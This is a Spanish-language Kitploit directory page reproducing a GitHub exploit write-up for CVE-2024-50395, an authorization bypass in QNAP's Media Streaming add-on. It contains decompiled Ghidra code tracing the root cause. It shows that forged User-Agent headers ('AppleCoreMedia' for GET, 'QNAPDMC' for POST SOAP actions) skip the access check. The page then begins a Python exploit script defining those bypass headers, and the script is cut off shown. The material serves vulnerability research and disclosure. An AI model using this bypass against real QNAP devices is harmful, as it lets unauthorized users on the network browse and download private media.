Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-50395 — Exploit en Python para CVE-2024-50395, un bypass de autorización en el complemento QNAP Media Streaming. Utiliza encabezados User-Agent manipulados para omitir la autenticación y navegar/descargar archivos multimedia a través de solicitudes UPnP SOAP. | Kitploit
Herramientas/GitHubGitHub/neko-hat/cve-2024-50395
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubneko-hat/cve-2024-50395

CVE-2024-50395

Exploit en Python para CVE-2024-50395, un bypass de autorización en el complemento QNAP Media Streaming. Utiliza encabezados User-Agent manipulados para omitir la autenticación y navegar/descargar archivos multimedia a través de solicitudes UPnP SOAP.

Ver Repositorio
22hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-50395

Información de CVE

Se ha reportado una vulnerabilidad de omisión de autorización mediante una clave controlada por el usuario que afecta al complemento Media Streaming. Si se explota, la vulnerabilidad podría permitir a atacantes de la red local obtener privilegios. Ya hemos solucionado la vulnerabilidad en la siguiente versión: complemento Media Streaming 500.1.1.6 (2024/08/02) y posteriores.

PoC GIF

PoC.gif

Causa Raíz

Omisión de Autorización por Método GET

La función FUN_001293f0 en Ghidra, que quizás se llame función ParseHttpHeaders en el código fuente original, analiza los datos del encabezado HTTP de las solicitudes del cliente.

Esa función también analiza "User-Agent" y obtiene el valor.

iVar4 = strncasecmp((char *)__s,"User-Agent",10);
if (iVar4 == 0) {
  pcVar6 = strstr((char *)__s,"Twonky");
  if ((pcVar6 == (char *)0x0) &&
     (pcVar6 = strstr((char *)__s,"twonky"), pcVar6 == (char *)0x0)) {
    if (((local_138 == g_DefaultClientTypeId) && (uVar5 == 0)) ||
       (lVar14 = strstrc(__s,"AppleCoreMedia",0xd), puVar9 = local_120,
       lVar14 != 0)) {
      ppuVar10 = __ctype_b_loc();
      do {
        puVar9 = puVar9 + 1;
      } while ((*(byte *)((long)*ppuVar10 + (long)(char)*puVar9 * 2 + 1) &
               0x20) != 0);
      lVar11 = 0;
      pcVar6 = *(char **)(client_type_patterns + 8);
      lVar14 = client_type_patterns;
      lVar18 = client_type_patterns;
      while (pcVar6 != (char *)0x0) {
        if (*(int *)(lVar14 + 0x10) == 1) {
          if (*(int *)(lVar14 + 0x14) == 0) {
            lVar14 = strstrc(puVar9,pcVar6,0xd);
            lVar18 = client_type_patterns;
            if (lVar14 != 0) {
              pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
              puVar20 = (undefined *)0x0;
              uVar22 = 5;
              local_138 = *(int *)(client_type_patterns + lVar11);
              lVar12 = (longlong)local_138;
              uVar15 = 0x204;
              local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
                                   0x10);
              goto LAB_00129ab1;
            }
          }

En ese momento, si el valor de "User-Agent" es "AppleCoreMedia", se ejecuta el siguiente código.

lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
  if (*(int *)(lVar14 + 0x10) == 1) {
    if (*(int *)(lVar14 + 0x14) == 0) {
      lVar14 = strstrc(puVar9,pcVar6,0xd);
      lVar18 = client_type_patterns;
      if (lVar14 != 0) {
        pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
        puVar20 = (undefined *)0x0;
        uVar22 = 5;
        local_138 = *(int *)(client_type_patterns + lVar11);
        lVar12 = (longlong)local_138;
        uVar15 = 0x204;
        local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
                             0x10);
        goto LAB_00129ab1;
      }
    }

Y luego va a LAB_00129aba1

LAB_00129ab1:
                      myDebugUtilWrapperPrint
                                (uVar22,puVar20,"upnphttp.c",uVar15,"ParseHttpHeaders",pcVar6,puVa r9
                                 ,lVar12);
LAB_00129abb:
                      lVar14 = *(long *)(param_1 + 0x20);
                      uVar8 = (ulong)*(uint *)(param_1 + 0x30);
                    }

Luego, se ejecuta el siguiente código

LAB_00129627:
        for (; (*__s != '\r' || (__s[1] != '\n')); __s = __s + 1) {
        }
        __s = __s + 2;
      } while (__s < (uchar *)((int)uVar8 + lVar14));
    }
    if (local_138 < 0) {
      local_138 = g_DefaultClientTypeId;
    }
  }
  iVar4 = local_138;
  pcVar6 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));
  myDebugUtilWrapperPrint
            (5,&DAT_001682c3,"upnphttp.c",0x30f,"ParseHttpHeaders",
             "finally device ip: %s found clientTypeId = %d\n",pcVar6,iVar4);
  local_174 = local_174 | *(uint *)(param_1 + 0x88);
  *(int *)(param_1 + 0x38) = local_138;
  bVar25 = CARRY8((long)local_138 * 0x20,client_type_mappings);
  ppbVar17 = (byte **)((long)local_138 * 0x20 + client_type_mappings);
  bVar26 = ppbVar17 == (byte **)0x0;
  *(uint *)(param_1 + 0x88) = local_174;
  lVar14 = 8;
  *(uint *)(param_1 + 0xa4) = local_130;
  *(int *)(param_1 + 0xa8) = local_13c;
  *(int *)(param_1 + 0xac) = local_134;
  pbVar19 = *ppbVar17;
  pbVar21 = (byte *)"AppleTV";
  /*
  omited...
  */
  
  uVar15 = 0;
  if ((local_174 & 0x100) == 0) goto LAB_001298c4;

Concéntrese en el código uVar15 = 0; if ((local_174 & 0x100) == 0) goto LAB_001298c4;

Si el valor de User-Agent es "AppleCoreMedia", ese código podría ejecutarse.

Por lo tanto, la función FUN_001293f0 devuelve el valor 0.

Esa función se llama en FUN_001411f0, que funciona como una función de enrutamiento; cuando el valor de retorno es 0, FUN_001411f0 no ejecuta ninguna función que envíe el código de error HTTP 401 ("Deny Access").

(La función FUN_001411f0 quizás se llame ProcessHTTPSubscribe en el código fuente original.)

Método POST

El Tipo de Cliente "QNAPDMC" se inicializa en la función "InsertQNAPClientType". (Esa función se llama en main).

Y en esa función, se inicializa la variable g_QNAPDMCClientTypeId.

Cuando un cliente utiliza el método HTTP POST, la función de procesamiento principal es FUN_0012ee50.

  uVar21 = 1;
  myDebugUtilWrapperPrint(5,0,"upnphttp.c",0x587,"ProcessHttpQuery_upnphttp","HTTP REQUEST: %.*s\n ")
  ;
                    /* DAT_001690a2 is "POST" */
  lVar11 = 5;
  pbVar13 = &DAT_001690a2;
  pbVar14 = local_298;
  do {
    if (lVar11 == 0) break;
    lVar11 = lVar11 + -1;
    uVar19 = *pbVar13 < *pbVar14;
    uVar21 = *pbVar13 == *pbVar14;
    pbVar13 = pbVar13 + (ulong)bVar22 * -2 + 1;
    pbVar14 = pbVar14 + (ulong)bVar22 * -2 + 1;
  } while ((bool)uVar21);
  if ((!(bool)uVar19 && !(bool)uVar21) == (bool)uVar19) {
    param_1[0xd] = 2;
    FUN_0012ee50(param_1);
    goto exit;
  }

Si el encabezado de la solicitud tiene "Soapaction", se ejecuta la función ExecuteSoapAction.

(El valor de *(long *)(param_1 + 0x10) se estableció en FUN_001293f0).

  if ((int)(param_1[10] - param_1[0xc]) < (int)param_1[0xb]) {
    param_1[3] = 1;
    return (ulong)(param_1[10] - param_1[0xc]);
  }
  if (*(long *)(param_1 + 0x10) != 0) {
    uVar2 = ExecuteSoapAction(param_1,*(long *)(param_1 + 0x10),param_1[0x12]);
    return uVar2;
  }

En ExecuteSoapAction, si (*(int *)(param_1 + 0x38) es igual a g_QNAPDMCClientTypeId, podemos omitir la autorización.

  if ((*(int *)(param_1 + 0xac) != 0) && (*(int *)(param_1 + 0x38) != g_QNAPDMCClientTypeId)) {
    if (n_lan_addr < 1) {
LAB_0014a27f:
      pcVar6 = "Deny Access";
      goto LAB_0014a3dd;
    }
    if (DAT_00398a90 != *(int *)(param_1 + 4)) {
      puVar3 = &lan_addr;
      do {
        if (puVar3 == &lan_addr + (ulong)(n_lan_addr - 1) * 0x1c) goto LAB_0014a27f;
        piVar1 = (int *)(puVar3 + 0x2c);
        puVar3 = puVar3 + 0x1c;
      } while (*piVar1 != *(int *)(param_1 + 4));
    }
  }
  pcVar6 = strchr(param_2,0x23);

La variable (*(int *)(param_1 + 0x38) se inicializa en FUN_001293f0 usando "User-Agent".

Por lo tanto, podemos omitir la autorización utilizando el encabezado de solicitud "User-Agent: AppleCoreMedia, User-Agent: QNAPDMC".

Exploit

#!/usr/bin/python3
# POC.py

import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse

from xml.dom.minidom import parseString
#from tqdm import tqdm

log = lambda x: print("\033[31m[+]" + "\033[37m"+x)

HOST = 'http://{0}:{1}'

session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}

def makedirs(path):
    if not os.path.exists(path):
        os.makedirs(path)
Descargar herramienta